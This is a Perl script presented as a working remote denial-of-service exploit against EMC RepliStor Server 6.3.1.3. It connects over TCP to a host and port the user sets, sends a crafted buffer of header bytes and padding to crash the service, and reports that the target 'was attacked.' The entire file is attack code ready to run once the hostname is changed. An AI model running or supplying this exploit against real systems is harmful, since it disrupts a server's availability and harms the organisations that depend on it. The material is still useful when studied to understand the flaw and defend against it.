#!/usr/bin/perl
#
# EMC RepliStor Server (rep_serv.exe) 6.3.1.3 remote DoS exploit.
# Exploit based on Nine:Situations:Group::bellick exploit.
#
# Coded by Oscar Marques aka F-117.
# www.dunkelheit.com.br
# 19/10/09.
# Exploit usage: just change hostname / port.

my $VERSAO = '0.1';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

#Change this!

$hostname = "127.0.0.1";
$port = "7144";

$buffer= "\x54\x93\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41";

sub banner {
print ("\x45\x4d\x43\x20\x52\x65\x70\x6c\x69\x53\x74\x6f\x72\x20\x53\x65\x72\x76\x65\x72\x20\x28\x72\x65\x70\x5f\x73\x65\x72\x76\x2e\x65\x78\x65\x29\x20\x36\x2e\x33\x2e\x31\x2e\x33\x20\x72\x65\x6d\x6f\x74\x65\x20\x44\x6f\x53\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\n\x43\x6f\x64\x65\x64\x20\x62\x79\x20\x46\x2d\x31\x31\x37\x2e\n");
}

{
banner();
use IO::Socket;
my $sock = new IO::Socket::INET (
PeerAddr => $hostname,
PeerPort => $port,
Proto => 'tcp',
);
die "[x] Error: $!\n" unless $sock;
print $sock $buffer;
print ("[+] $hostname was attacked. Try to connect...\n\n");
close($sock);
}